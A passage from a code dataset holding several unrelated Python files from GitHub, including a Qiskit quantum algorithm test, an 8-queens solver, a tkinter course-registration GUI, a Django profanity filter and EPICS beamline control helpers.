BasicAer.get_backend('qasm_simulator')\n num_qbits = self.qubit_op.num_qubits\n wavefunction = TwoLocal(num_qbits, ['ry', 'rz'], 'cz', reps=3)\n\n optimizer = SPSA(maxiter=10)\n algo = VQE(self.qubit_op, wavefunction, optimizer)\n\n quantum_instance = QuantumInstance(backend, seed_simulator=self.seed,\n seed_transpiler=self.seed)\n result = algo.run(quantum_instance)\n\n self.log.debug('VQE result: %s.', result)\n\n ref_eigenval = -1.85727503 # Known reference value\n\n num_time_slices = 1\n num_iterations = 6\n\n param_dict = result.optimal_parameters\n if mode == 'initial_state':\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=DeprecationWarning)\n state_in = VarFormBased(wavefunction, param_dict)\n else:\n state_in = wavefunction.assign_parameters(param_dict)\n\n iqpe = IQPE(self.qubit_op, state_in, num_time_slices, num_iterations,\n expansion_mode='suzuki', expansion_order=2,\n shallow_circuit_concat=True)\n quantum_instance = QuantumInstance(\n backend, shots=100, seed_transpiler=self.seed, seed_simulator=self.seed\n )\n result = iqpe.run(quantum_instance)\n\n self.log.debug('top result str label: %s', result.top_measurement_label)\n self.log.debug('top result in decimal: %s', result.top_measurement_decimal)\n self.log.debug('stretch: %s', result.stretch)\n self.log.debug('translation: %s', result.translation)\n self.log.debug('final eigenvalue from QPE: %s', result.eigenvalue)\n self.log.debug('reference eigenvalue: %s', ref_eigenval)\n self.log.debug('ref eigenvalue (transformed): %s',\n (ref_eigenval + result.translation) * result.stretch)\n self.log.debug('reference binary str label: %s', decimal_to_binary(\n (ref_eigenval.real + result.translation) * result.stretch,\n max_num_digits=num_iterations + 3,\n fractional_part_only=True\n ))\n\n self.assertAlmostEqual(result.eigenvalue.real, ref_eigenval.real, delta=1e-2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"qiskit-community/qiskit-aqua","sub_path":"test/aqua/test_vqe2iqpe.py","file_name":"test_vqe2iqpe.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":564,"dataset":"github-code","pt":"66"}
+{"seq_id":"20727554587","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nimport random\n\nstart = None\ncur_node = None\npath = []\n\n\n\ndef update(i,n,layout,G,ax,end):\n global cur_node,path\n ax.clear()\n nodes_color = ['#1f78b4']*len(G.nodes)\n nodes_color[cur_node]='#ff0000'\n if path[-1] !=end:\n if path[-1]==cur_node:\n pass\n else:\n path.append(cur_node)\n\n if(len(list(G.adj[cur_node]))>0 and cur_node != end):\n cur_node = random.sample(list(G.adj[cur_node]),1)[0]\n nx.draw(G,pos=layout,ax=ax,node_color=nodes_color,with_labels=True)\n global start\n ax.set_title(\"Start {}, End {}\\nPath {}\".format(start,end,path))\n\n\n\ndef random_walk_animation():\n global start,cur_node\n fig, ax = plt.subplots(figsize=(6,4))\n \n # G=nx.barbell_graph(5,2) \n G=nx.gnm_random_graph(10,20)\n layout = nx.spring_layout(G)\n end = random.sample(list(G.nodes),1)[0]\n \n if start == None:\n start = random.sample(list(G.nodes),1)[0]\n cur_node = start\n path.append(cur_node)\n nodes_color = ['#1f78b4']*len(G.nodes)\n nodes_color[cur_node]='#ff0000'\n nx.draw(G,pos=layout,ax=ax,node_color=nodes_color,with_labels=True)\n \n ani = FuncAnimation(fig,update,frames=100,interval=500,fargs=(12,layout,G,ax,end))\n ani.save('animation_1.gif', writer='imagemagick')\n # plt.show()\n\n\n \n\n\nrandom_walk_animation()","repo_name":"Rougnt/RandomWalk","sub_path":"mygraph.py","file_name":"mygraph.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"40990383083","text":"import time\n\nclass Cell:\n \"\"\"A Cell is a square on the chessboard, which might contain a queen. A Cell\n knows where it is on the Board, it's current state, and can interact with\n the Board through queening.\n \"\"\"\n def __init__(self, idx, board):\n self.idx = idx\n self.board = board\n self.row = idx // 8 + 1\n self.col = idx % 8 + 1\n self.is_queen = False\n self.is_attacked = False\n\n \"\"\"The cell has a queen on it, and the Board updates newly attacked cells.\n \"\"\"\n def queen(self):\n self.is_queen = True\n self.board.calculate_attacked(self)\n\n \"\"\"The cell no longer has a queen on it, and the Board recalculates all\n attacked cells.\n \"\"\"\n def unqueen(self):\n self.is_queen = False\n self.board.calculate_all_attacked()\n\nclass Board:\n \"\"\"The Board manages the state of it's Cells and provides methods for\n calculating which cells are currently attacked, and which cells a queen\n that is placed will be able to attack.\n \"\"\"\n def __init__(self):\n self.cells = [Cell(i, self) for i in range(64)]\n\n def reset(self):\n for cell in self.cells:\n cell.is_queen = False\n cell.is_attacked = False\n\n \"\"\"For debugging purposes.\"\"\"\n def display(self):\n for r in range(8):\n for c in range(8):\n cell = self.cells[r * 8 + c]\n if cell.is_queen:\n print(\" [Q]\", end=\" \")\n else:\n print(\" {:2} \".format(cell.idx), end=\" \")\n print()\n\n \"\"\"Queens a cell, if it is legal to do so given the rules.\"\"\"\n def attempt_queening(self, cell_idx):\n cell = self.cells[cell_idx]\n if cell.is_attacked == False:\n cell.queen()\n\n \"\"\"The current queens on the board.\"\"\"\n def queens(self):\n queens = []\n for cell in self.cells:\n if cell.is_queen:\n queens += [cell]\n return queens\n\n \"\"\"Sets newly attacked cells for a placed queen.\"\"\"\n def calculate_attacked(self, cell):\n for c in self.attackable_cells(cell):\n c.is_attacked = True\n\n \"\"\"Calculates all attacked cells based on the current queen set.\"\"\"\n def calculate_all_attacked(self):\n for cell in self.cells:\n cell.is_attacked = False\n for queen in self.queens():\n self.calculate_attacked(queen)\n\n \"\"\"Determines which cells are attackable from the position of a Cell.\"\"\"\n def attackable_cells(self, cell):\n cells = []\n cells.extend(self.cells_in_dir(cell, self.nw_cell))\n cells.extend(self.cells_in_dir(cell, self.n_cell))\n cells.extend(self.cells_in_dir(cell, self.ne_cell))\n cells.extend(self.cells_in_dir(cell, self.w_cell))\n cells.extend(self.cells_in_dir(cell, self.e_cell))\n cells.extend(self.cells_in_dir(cell, self.sw_cell))\n cells.extend(self.cells_in_dir(cell, self.s_cell))\n cells.extend(self.cells_in_dir(cell, self.se_cell))\n return cells\n\n \"\"\"Recursively determines and adds cells in a given direction until the edge\n of the board is reached.\n \"\"\"\n def cells_in_dir(self, cell, dir, acc_cells=[]):\n next_cell = dir(cell)\n if next_cell is not None:\n return self.cells_in_dir(next_cell, dir, acc_cells + [next_cell])\n else:\n return acc_cells\n\n def nw_cell(self, cell):\n if cell.row > 1 and cell.col > 1:\n return self.cells[cell.idx - 9]\n\n def n_cell(self, cell):\n if cell.row > 1:\n return self.cells[cell.idx - 8]\n\n def ne_cell(self, cell):\n if cell.row > 1 and cell.col < 8:\n return self.cells[cell.idx - 7]\n\n def w_cell(self, cell):\n if cell.col > 1:\n return self.cells[cell.idx - 1]\n\n def e_cell(self, cell):\n if cell.col < 8:\n return self.cells[cell.idx + 1]\n\n def sw_cell(self, cell):\n if cell.row < 8 and cell.col > 1:\n return self.cells[cell.idx + 7]\n\n def s_cell(self, cell):\n if cell.row < 8:\n return self.cells[cell.idx + 8]\n\n def se_cell(self, cell):\n if cell.row < 8 and cell.col < 8:\n return self.cells[cell.idx + 9]\n\nclass Engine:\n \"\"\"Engine connects the elements of the environment required to execute a\n strategy to solve the 8 queens problem.\n \"\"\"\n def __init__(self, board):\n self.board = board\n self.solutions = []\n\n def reset(self):\n self.board.reset()\n self.solutions = []\n\n \"\"\"Result output.\"\"\"\n def output_solutions(self, time):\n print(\"Found {} solutions in {:.2f} seconds:\".format(len(self.solutions), time))\n\n \"\"\"Runs a strategy in a clean environment and provides output.\"\"\"\n def run(self, strategy):\n self.reset()\n print(\"using: {}\".format(strategy.__name__))\n t = time.time()\n strategy(board, self.solutions)\n self.output_solutions(time.time() - t)\n\nclass Strategy:\n \"\"\"Strategy contains different search strategies that can be used to find\n solutions to the 8 queens problem.\n \"\"\"\n\n \"\"\"Checks the goal state and if achieved, adds the current state to the\n solution set.\"\"\"\n def check_and_add_solution(self, queens, solutions):\n if len(queens) == 8:\n solutions.append([queen.idx for queen in queens])\n\n \"\"\"A strategy where each each cell is inspected linearly for queening,\n queened if possible, then when all legal queens have been placed a board\n configuration is examined for success. Then, the last placed queen is\n backtracked and the next cell after that cell is inspected.\"\"\"\n def linear_backtrack(self, board, solutions):\n cell_idx = 0\n starting_cell_idx = 0\n # There must be a queen in the first row\n while starting_cell_idx < 8:\n board.attempt_queening(cell_idx)\n # if we're at the end of a run\n if cell_idx == 63:\n self.check_and_add_solution(board.queens(), solutions)\n cell_idx, starting_cell_idx = self.backtrack(cell_idx, starting_cell_idx, board.queens())\n cell_idx += 1\n\n \"\"\"Backtrack the last placed queen (or two if required) and return the\n indices of the current cell under examination and the starting cell for the\n next run through of the board.\"\"\"\n def backtrack(self, cell_idx, starting_cell_idx, queens):\n queens[-1].unqueen()\n\n # if there was only one queen, progress to next run\n if len(queens) == 1:\n return starting_cell_idx, starting_cell_idx + 1\n\n # if the last queen was on an end cell\n elif queens[-1].idx == 63:\n # unqueen the second last queen\n queens[-2].unqueen()\n # if there are no queens left, progress to next run\n if len(queens) == 2:\n return starting_cell_idx, starting_cell_idx + 1\n # otherwise, continue the run from the second last queen\n else:\n return queens[-2].idx, starting_cell_idx\n\n # otherwise, continue the run from the last queen\n else:\n return queens[-1].idx, starting_cell_idx\n\n \"\"\"A strategy where every board combination is generated then inspected,\n with the limitation that we can only place a single queen in any row or\n column, which we know is required because of problem domain knowledge.\"\"\"\n def brute_force(self, board, solutions):\n for q1 in range(8):\n for q2 in set(range(8)) - { q1 }:\n for q3 in set(range(8)) - { q1, q2 }:\n for q4 in set(range(8)) - { q1, q2, q3 }:\n for q5 in set(range(8)) - { q1, q2, q3, q4 }:\n for q6 in set(range(8)) - { q1, q2, q3, q4, q5 }:\n for q7 in set(range(8)) - { q1, q2, q3, q4, q5, q6 }:\n for q8 in set(range(8)) - { q1, q2, q3, q4, q5, q6, q7 }:\n board.reset()\n board.attempt_queening(q1 + 0 * 8)\n board.attempt_queening(q2 + 1 * 8)\n board.attempt_queening(q3 + 2 * 8)\n board.attempt_queening(q4 + 3 * 8)\n board.attempt_queening(q5 + 4 * 8)\n board.attempt_queening(q6 + 5 * 8)\n board.attempt_queening(q7 + 6 * 8)\n board.attempt_queening(q8 + 7 * 8)\n self.check_and_add_solution(board.queens(), solutions)\n\n# Establish state and run each strategy with output\nif __name__ == '__main__':\n board = Board()\n engine = Engine(board)\n strategy = Strategy()\n\n engine.run(strategy.brute_force)\n engine.run(strategy.linear_backtrack)\n","repo_name":"PhilipCastiglione/learning-machines","sub_path":"miscellany/8_queens_OO.py","file_name":"8_queens_OO.py","file_ext":"py","file_size_in_byte":9012,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"24392418576","text":"# 위상 정렬\nfrom collections import deque\nfrom collections import defaultdict\n\nn = int(input())\nbefore, after, indegree, time = defaultdict(list), defaultdict(list), defaultdict(int), defaultdict(int)\nmax_node = defaultdict(int)\nstart = []\nfor i in range(1, n+1):\n read = list(map(int, input().split()))\n time[i] = read[0]\n indegree[i] += read[1]\n for v in read[2:]:\n before[i].append(v)\n after[v].append(i)\n if not indegree[i]:\n start.append(i)\n\nqueue = deque(start)\nwhile queue:\n node = queue.popleft()\n for adj in after[node]:\n indegree[adj] -= 1\n if indegree[adj] == 0:\n queue.append(adj)\n # 선행 노드 중, 가장 시간이 오래 걸린 노드 찾기\n max_node = before[adj][0]\n for v in before[adj]:\n if time[max_node] < time[v]:\n max_node = v\n time[adj] += time[max_node]\n\nelse:\n print(max(time.values()))","repo_name":"olzlrlo/algorithms","sub_path":"BOJ/02056.py","file_name":"02056.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"14325440733","text":"from scipy import sparse\nimport numpy as np\nimport time\nfrom fast_histogram import histogram1d\nimport matlab.engine\n\neng = matlab.engine.start_matlab()\n\n\ndef fgsd_features(graph_list):\n\n S_max = 0\n S_list = []\n print('Computing pseudo inverse...')\n t = time.time()\n for i, A in enumerate(graph_list):\n if (i + 1) % 1000 == 0:\n print('num graphs processed so far: ', i + 1)\n A = np.array(A.todense(), dtype=np.float32)\n D = np.sum(A, axis=0)\n L = np.diag(D) - A\n\n ones_vector = np.ones(L.shape[0])\n try:\n fL = np.linalg.pinv(L)\n except np.linalg.LinAlgError:\n fL = np.array(eng.fgsd_fast_pseudo_inverse(matlab.double(L.tolist()), nargout=1))\n fL[np.isinf(fL)] = 0\n fL[np.isnan(fL)] = 0\n\n S = np.outer(np.diag(fL), ones_vector) + np.outer(ones_vector, np.diag(fL)) - 2 * fL\n if S.max() > S_max:\n S_max = S.max()\n S_list.append(S)\n\n print('S_max: ', S_max)\n print('Time Taken: ', time.time() - t)\n\n feature_matrix = []\n nbins = 1000000\n range_hist = (0, S_max)\n print('Computing histogram...')\n t = time.time()\n for i, S in enumerate(S_list):\n if (i + 1) % 1000 == 0:\n print('num graphs processed so far: ', i + 1)\n # hist, _ = np.histogram(S.flatten(), bins=nbins, range=range_hist)\n hist = histogram1d(S.flatten(), bins=nbins, range=range_hist)\n hist = sparse.csr_matrix(hist)\n feature_matrix.append(hist)\n print('Time Taken: ', time.time() - t)\n\n feature_matrix = sparse.vstack(feature_matrix)\n return feature_matrix\n","repo_name":"vermaMachineLearning/Universal-Graph-Embedding-Neural-Network","sub_path":"utils/fast_fgsd_features.py","file_name":"fast_fgsd_features.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"66"}
+{"seq_id":"70893422931","text":"import pygame\nfrom quizz.class_ecra_menu import Menu\nfrom quizz.class_ecra_jogar import Jogar\nfrom quizz.class_ecra_login import Login\n\nclass Jogo:\n titulo = \"Quizz\"\n tamanho_ecra = (768, 768)\n estado = None\n eventos = None\n ecra = None\n relogio = None\n ecras = {\n \"login\": Login,\n \"menu\": Menu,\n \"jogar\": Jogar,\n \"perguntas\": Menu,\n \"pontuacoes\": Menu,\n \"nivelJogo\": Menu,\n }\n nome_utilizador = None\n categorias_seleccionadas = []\n centro_ecra = None\n\n def __init__(self):\n pygame.font.init()\n pygame.display.set_caption(self.titulo)\n self.relogio = pygame.time.Clock()\n self.ecra = pygame.display.set_mode(self.tamanho_ecra)\n self.centro_ecra = self.ecra.get_rect().center\n self.estado = self.ecras[\"login\"](self)\n\n self.construir()\n\n def construir(self):\n # Iniciar ciclo\n while True:\n self.eventos_globais()\n self.estado.construir(self)\n # Atualizar o ecra 60 vezes a cada segundo\n pygame.display.update()\n self.relogio.tick(60)\n\n def eventos_globais(self):\n self.eventos = pygame.event.get()\n for evento in self.eventos:\n # Se evento for do tipo QUIT\n if evento.type == pygame.QUIT:\n # Fechar janela e sai do jogo\n pygame.quit()\n exit()\n ","repo_name":"drweizak/quizz-advanced-workshop","sub_path":"quizz/class_jogo.py","file_name":"class_jogo.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"42899438347","text":"import re\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tkinter\nfrom tkinter import ttk\nfrom tkinter.messagebox import showinfo, askyesno\nfrom static_view import StaticView\nfrom register_controller import RegisterController\ndef clear_treeview(treeview):\n for i in treeview.get_children():\n treeview.delete(i)\ndef register_to_tuple(register):\n return tuple([register.register_id,register.subject.subject_id,\n register.subject.name,register.student.student_id,\n register.student.name,register.register_time])\nclass RegisterView:\n def __init__(self,frame,student_view,subject_view):\n super().__init__()\n self.frame = frame\n self.registers = []\n self.add_table_register()\n self.create_search_frame()\n self.creat_frame_sort()\n self.create_register_frame(student_view,subject_view)\n self.create_btn_frame(student_view,subject_view)\n\n def add_table_register(self):\n column = ['c1','c2','c3','c4','c5','c6']\n self.table_register = ttk.Treeview(self.frame,columns=column,show='headings',height=9,selectmode='browse')\n self.table_register.grid(column=0,row=0,columnspan=3,sticky=tkinter.NSEW)\n\n style = ttk.Style()\n style.theme_use('alt') # other theme can use: clam, classic, default\n style.configure('my.Treeview.Heading', font=('Calibri', 11, 'bold'),\n background='#33CCFF', foreground='#ffffff')\n self.table_register.configure(style='my.Treeview')\n\n self.table_register.heading('c1',text='Mã đăng ký')\n self.table_register.heading('c2',text='Mã môn học')\n self.table_register.heading('c3',text='Tên môn học')\n self.table_register.heading('c4',text='Mã sinh viên')\n self.table_register.heading('c5',text='Họ và tên')\n self.table_register.heading('c6',text='Thời gian')\n\n self.table_register.column(0,stretch=tkinter.NO,width=150,minwidth=150,anchor=tkinter.CENTER)\n self.table_register.column(1,stretch=tkinter.NO,width=150,minwidth=150,anchor=tkinter.CENTER)\n self.table_register.column(2,stretch=tkinter.NO,width=250,minwidth=250)\n self.table_register.column(3,stretch=tkinter.NO,width=150,minwidth=150,anchor=tkinter.CENTER)\n self.table_register.column(4,stretch=tkinter.NO,width=200,minwidth=200)\n self.table_register.column(5,stretch=tkinter.NO,width=250,minwidth=250,anchor=tkinter.CENTER)\n\n def create_search_frame(self):\n self.search_var = tkinter.StringVar()\n frm_search = ttk.LabelFrame(self.frame, text='Tìm kiếm')\n # config set all columns have same width space\n frm_search.columnconfigure(0, weight=1, uniform='fred')\n frm_search.columnconfigure(1, weight=1, uniform='fred')\n frm_search.grid(row=1, column=0, sticky=tkinter.NSEW, pady=4, padx=4)\n # add combobox\n ttk.Label(frm_search, text='Tiêu chí tìm kiếm:'). \\\n grid(row=0, column=0, sticky=tkinter.W, pady=4, padx=4)\n type = ['Theo mã sinh viên','Theo mã môn học']\n self.combo_search = ttk.Combobox(frm_search, textvariable=self.search_var,values=type)\n self.combo_search.grid(row=1, column=0, padx=4, pady=4, sticky=tkinter.W,\n ipady=4, ipadx=4)\n # add search part\n ttk.Label(frm_search, text='Từ khóa:'). \\\n grid(row=0, column=1, sticky=tkinter.W, padx=4, pady=4)\n self.search_entry = ttk.Entry(frm_search)\n self.search_entry.grid(row=1, column=1, sticky=tkinter.EW, padx=4, pady=4,\n ipadx=4, ipady=4)\n\n self.btn_search = ttk.Button(frm_search, text='Tìm kiếm', width=15,command=self.search_by_key)\n self.btn_search.grid(row=2, column=1, padx=4, pady=4)\n\n def creat_frame_sort(self):\n self.sort_var = tkinter.IntVar(value=0)\n frm_sort= ttk.LabelFrame(self.frame, text='Sắp xếp')\n # config set all columns have same width space\n frm_sort.columnconfigure(0, weight=1, uniform='fred')\n frm_sort.columnconfigure(1, weight=1, uniform='fred')\n frm_sort.grid(row=1, column=1, sticky=tkinter.NSEW, pady=4, padx=4)\n\n ttk.Radiobutton(frm_sort, text='Thứ tự đăng ký sớm-muộn', value=1,\n variable=self.sort_var,command=self.sort_by_time). \\\n grid(row=0, column=0, pady=4, padx=4, sticky=tkinter.W)\n ttk.Radiobutton(frm_sort, text='Thứ tự đăng ký muộn-sớm',\n value=2, variable=self.sort_var,command=self.sort_by_time_d). \\\n grid(row=1, column=0, pady=4, padx=4, sticky=tkinter.W)\n ttk.Radiobutton(frm_sort, text='Theo mã môn học tăng dần',\n value=3, variable=self.sort_var,command=self.sort_by_id_sub). \\\n grid(row=0, column=1, pady=4, padx=4, sticky=tkinter.W)\n ttk.Radiobutton(frm_sort, text='Theo mã sinh viên tăng dần',\n value=4, variable=self.sort_var,command=self.sort_by_id_student). \\\n grid(row=1, column=1, pady=4, padx=4, sticky=tkinter.W)\n\n def create_register_frame(self,student_view,subject_view):\n frm_register = ttk.LabelFrame(self.frame,text='Đăng ký môn học')\n frm_register.grid(column=2,row=1,sticky=tkinter.NSEW,padx=4,pady=4)\n frm_register.grid_columnconfigure(0,weight=1,uniform='fred')\n frm_register.grid_columnconfigure(1,weight=1,uniform='fred')\n\n frm_register.rowconfigure(0, weight=1, uniform='fred')\n frm_register.rowconfigure(1, weight=1, uniform='fred')\n frm_register.rowconfigure(2, weight=1, uniform='fred')\n\n ttk.Label(frm_register,text='Mã sinh viên').grid(column = 0 ,row=0,pady=4,padx=16)\n ttk.Label(frm_register,text='Mã môn học').grid(column = 0,row=1,padx=16,pady=4)\n\n self.entry_id_student = ttk.Entry(frm_register)\n self.entry_id_student.grid(column=1,row=0,padx=16,pady=4)\n\n self.entry_id_sub = ttk.Entry(frm_register)\n self.entry_id_sub.grid(column=1,row=1,padx=16,pady=4)\n\n self.btn_ok = ttk.Button(frm_register,text='REGISTER',command=lambda : self.register_subject(student_view,subject_view))\n self.btn_ok.grid(column=1,row=2,pady=4,padx=4)\n\n def create_btn_frame(self,students,subjects):\n self.frm_btn = ttk.LabelFrame(self.frame,text='Các thao tác')\n self.frm_btn.grid(column=0,row=2,columnspan=3,sticky=tkinter.NSEW)\n self.frm_btn.grid_columnconfigure(0,weight=1)\n self.frm_btn.grid_columnconfigure(1,weight=1)\n self.frm_btn.grid_columnconfigure(2,weight=1)\n self.frm_btn.grid_columnconfigure(3,weight=1)\n\n\n self.btn_load = ttk.Button(self.frm_btn,text='Làm mới',command=lambda :self.load_register(students,subjects))\n self.btn_load.grid(column=0,row=0,pady=8,padx=8,ipady=8,ipadx=16)\n\n self.btn_static = ttk.Button(self.frm_btn, text='Thống kê',command=self.static)\n self.btn_static.grid(column=1, row=0,pady=8,padx=8,ipady=8,ipadx=16)\n\n self.btn_draw = ttk.Button(self.frm_btn, text='Vẽ biểu đồ',command=self.draw_chart)\n self.btn_draw.grid(column=2, row=0,pady=8,padx=8,ipady=8,ipadx=16)\n\n self.btn_delete = ttk.Button(self.frm_btn, text='Xoá',command=self.delete_item)\n self.btn_delete.grid(column=3, row=0,pady=8,padx=8,ipady=8,ipadx=16)\n\n def load_register(self,students,subject):\n self.registers.clear()\n s = RegisterController()\n if len(students.students) == 0 or len(subject.subjects) == 0:\n showinfo(message='Lỗi danh sách rỗng')\n else:\n self.registers = s.read_data(students.students,subject.subjects)\n self.show_table_register()\n\n def show_table_register(self):\n clear_treeview(self.table_register)\n index = 1\n self.table_register.selection_clear()\n for i in self.registers:\n if index % 2 == 0:\n tag = 'even'\n else:\n tag = 'odd'\n self.table_register.insert('', tkinter.END, values=register_to_tuple(i), tags=(tag,))\n index += 1\n\n def sort_by_time(self):\n s = RegisterController()\n s.sort_by_time(self.registers)\n self.show_table_register()\n\n def sort_by_time_d(self):\n s = RegisterController()\n s.sort_by_time_d(self.registers)\n self.show_table_register()\n\n def sort_by_id_sub(self):\n s = RegisterController()\n s.sort_by_id_sub(self.registers)\n self.show_table_register()\n\n def sort_by_id_student(self):\n s = RegisterController()\n s.sort_by_id_student(self.registers)\n self.show_table_register()\n\n def search_by_key(self):\n type = self.combo_search.get()\n key = self.search_entry.get()\n s = RegisterController()\n if len(type) == 0 or len(key) == 0:\n showinfo(message='Lỗi key hoặc tiêu chí tìm kiếm không được rỗng')\n else:\n if type == 'Theo mã sinh viên':\n pattern = '^SV\\\\d{4}$'\n if re.match(pattern,key):\n self.registers = s.search_by_id_student(self.registers,key)\n self.show_table_register()\n else:\n showinfo(message='Lỗi mã sinh vien không hợp lệ')\n else:\n if key.isdigit() is True and int(key) > 1000:\n self.registers = s.search_by_id_subject(self.registers,int(key))\n self.show_table_register()\n else:\n showinfo(message='Lỗi mã môn học phải là số nguyên lớn hơn 1000')\n def check_register_exist(self,register):\n for i in self.registers:\n if i.student.student_id == register.student.student_id and i.subject.subject_id == register.subject.subject_id:\n return True\n return False\n def register_subject(self,students,subjects):\n s = RegisterController()\n id_student = self.entry_id_student.get()\n id_subject = self.entry_id_sub.get()\n pattern = '^SV\\\\d{4}$'\n if re.match(pattern, id_student) and id_subject.isdigit() and int(id_subject) > 1000:\n register = s.add(students.students,subjects.subjects,int(id_subject),id_student)\n if register is not None:\n if self.check_register_exist(register):\n showinfo(message='Sinh viên đã đăng ký môn học trước đó')\n else:\n self.registers.append(register)\n self.show_table_register()\n showinfo(message='Đăng ký thành cong')\n else:\n showinfo(message='Sinh viên hoặc môn học không tồn tại')\n else:\n showinfo(message='Mã sinh viên hoặc mã môn học không hợp lệ')\n\n def delete_item(self):\n item = self.table_register.selection()\n if len(item) == 0:\n showinfo(message='Lỗi danh sách rỗng')\n else:\n id = self.table_register.set(item[0], column='c1')\n for i in self.registers:\n if i.register_id == int(id):\n self.registers.remove(i)\n\n if len(item) == 0:\n showinfo(message='Lỗi danh sách rỗng')\n else:\n ask = askyesno(message='Bạn có chắc chắn muốn xóa ?')\n if ask:\n for i in item:\n self.table_register.delete(i)\n showinfo(message='Xóa thành công')\n\n def create_dic(self):\n dic = {}\n for i in self.registers:\n if i.subject.subject_id in dic:\n dic[i.subject.subject_id] += 1\n else:\n dic[i.subject.subject_id] = 1\n return dic\n def getname(self,id):\n for i in self.registers:\n if i.subject.subject_id == id:\n return i.subject.name\n\n def static(self):\n list = []\n dic = self.create_dic()\n if len(dic) == 0 :\n showinfo(message='Lỗi danh sach rỗng')\n else:\n stt = 1\n for i in dic.keys():\n list.append(tuple([stt,i,self.getname(i),dic[i]]))\n stt += 1\n stat = StaticView(list)\n stat.mainloop()\n def draw_chart(self):\n dic = self.create_dic()\n if len(dic) == 0 :\n showinfo(message='Lỗi danh sach rỗng')\n else:\n num_subjects = []\n lable = []\n for i in dic.keys():\n num_subjects.append(dic[i])\n lable.append(i)\n\n subjects = np.array(num_subjects)\n plt.pie(subjects, labels=lable, shadow=True, startangle=45,\n autopct='%1.2f%%', textprops={'color': '#ffffff'})\n plt.title('Biểu đồ phân bố đăng ký môn học')\n plt.legend(loc = 1 ,title = 'Môn học: ')\n plt.show()\n\n\n","repo_name":"anhduc1234567/PythonBase","sub_path":"ProjectEnd/register_view.py","file_name":"register_view.py","file_ext":"py","file_size_in_byte":13123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"17205206783","text":"from django import template\n\nregister = template.Library()\n\n\nCENSOR = [\n 'бля', 'пизд', 'еба','хуй', 'хуе',\n]\n\n@register.filter(name='censor')\ndef censor(text: str):\n text_list = text.split()\n for i in range(len(text_list)):\n for c in CENSOR:\n if text_list[i].lower().find(c) >= 0:\n text_list[i] = '***'\n return ' '.join(text_list)\n","repo_name":"irynaludanova/wow_django","sub_path":"blog/templatetags/custom_filters.py","file_name":"custom_filters.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"22140934382","text":"\"\"\"\nCreated on Wed Oct 27 10:28:14 2021\n\n@author: graceluo\n\nCreate and get PVobjects\n\n\"\"\"\n#!/home/beams/USERBNP/.conda/envs/py36/bin/python\n\nimport epics, sys, datetime\nimport numpy as np\nfrom misc import getCurrentTime\nimport epics.devices\nfrom epics import caput, caget\n\n# Eiger object is create for accessing camera related attributes\nclass eiger(object):\n def __init__(self, cam_pv_str, file_pv_str):\n self.pvstr = cam_pv_str\n self.cam = epics.devices.AD_Camera(cam_pv_str)\n self.fileIO = epics.devices.AD_FilePlugin(file_pv_str)\n \n def setNumTriggers(self, numTriggers):\n caput('%sNumTriggers'%self.pvstr, numTriggers)\n \n def getNumTriggers(self):\n return caget('%sNumTriggers'%self.pvstr)\n\n\nclass pvObject(object):\n def __init__(self, pv_str, pv_key, onchange_callback=False):\n self.pv = epics.PV(pv_str)\n self.pvname = pv_key\n self.putvalue = self.pv.value\n self.put_complete = 0\n self.motor_ready = 1\n self.time_pre = None #datetime of PV when connected or previous value change\n self.time_delta = 0 #time difference in sec btw its value change\n if onchange_callback:\n self.pv.add_callback(self.onChanges)\n \n \n def onPutComplete(self, pvname=None, **kws):\n sys.stdout.write('%s: Finish updating PV %s with value of %s\\n'\\\n %(getCurrentTime(), self.pvname, str(self.putvalue)))\n self.put_complete = 1\n \n def onChanges(self, pvname=None, **kws):\n \n if self.time_pre is None: \n self.time_pre = datetime.datetime.now()\n else:\n curtime = datetime.datetime.now()\n self.time_delta = (curtime-self.time_pre).seconds\n self.time_pre = curtime\n \n sys.stdout.write('%s: previous time:%s, delta time:%s\\n'\n %(getCurrentTime(), self.time_pre, self.time_delta))\n\n \n def put_callback(self, v = None):\n self.put_complete = 0\n if v is not None:\n self.putvalue = v\n self.pv.put(self.putvalue, callback=self.onPutComplete)\n\n def motorReady(self, rqspv, tolerance = 4e-2):\n rqsvalue = np.round(rqspv.value, 2)\n if abs((np.round(self.pv.value, 2) - rqsvalue)) < tolerance:\n self.motor_ready = 1\n else:\n rqspv.put(rqsvalue)\n self.motor_ready = 0\n \n \ndef definePVs():\n pvs = {'x_center_Rqs':'9idbTAU:SM:PX:RqsPos', 'x_center_Act':'9idbTAU:SM:PX:ActPos',\n 'y_center_Rqs':'9idbTAU:SY:PY:RqsPos', 'y_center_Act':'9idbTAU:SY:PY:ActPos',\n 'z_value_Rqs':'9idbTAU:SM:SZ:RqsPos', 'z_value_Act':'9idbTAU:SM:SZ:ActPos',\n 'tomo_rot_Rqs':'9idbTAU:SM:CT:RqsPos', 'tomo_rot_Act':'9idbTAU:SM:CT:ActPos',\n 'sm_rot_Rqs':'9idbTAU:SM:ST:RqsPos', 'sm_rot_Act':'9idbTAU:SM:ST:ActPos',\n 'x_width':'9idbBNP:scan1.P1WD', 'y_width':'9idbBNP:scan2.P1WD',\n 'x_step':'9idbBNP:scan1.P1SI', 'y_step':'9idbBNP:scan2.P1SI',\n 'dwell':'9idbBNP:scanTran3.C', 'BDA_pos':'9idbTAU:UA:UX:RqsPos',\n 'det_time':'9idbBNP:3820:ElapsedReal', '1D_time':'9idbBNP:scanTran4.F',\n 